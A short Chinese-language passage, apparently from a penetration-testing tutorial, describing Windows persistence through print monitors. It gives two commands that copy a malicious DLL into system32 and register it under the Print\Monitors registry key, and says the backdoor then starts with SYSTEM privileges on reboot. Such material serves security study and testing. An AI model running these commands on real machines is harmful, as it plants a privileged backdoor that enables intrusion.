操作

需要管理員許可權，將惡意的dll檔案上傳到system32資料夾下：

copy test.dll c:\windows\system32
reg add "hklm\system\currentcontrolset\control\print\monitors\Pentestlab" /v "Driver" /d "test.dll" /t REG_SZ

效果

當主機重啟的時候會觸發後門，且後門以system許可權啟動。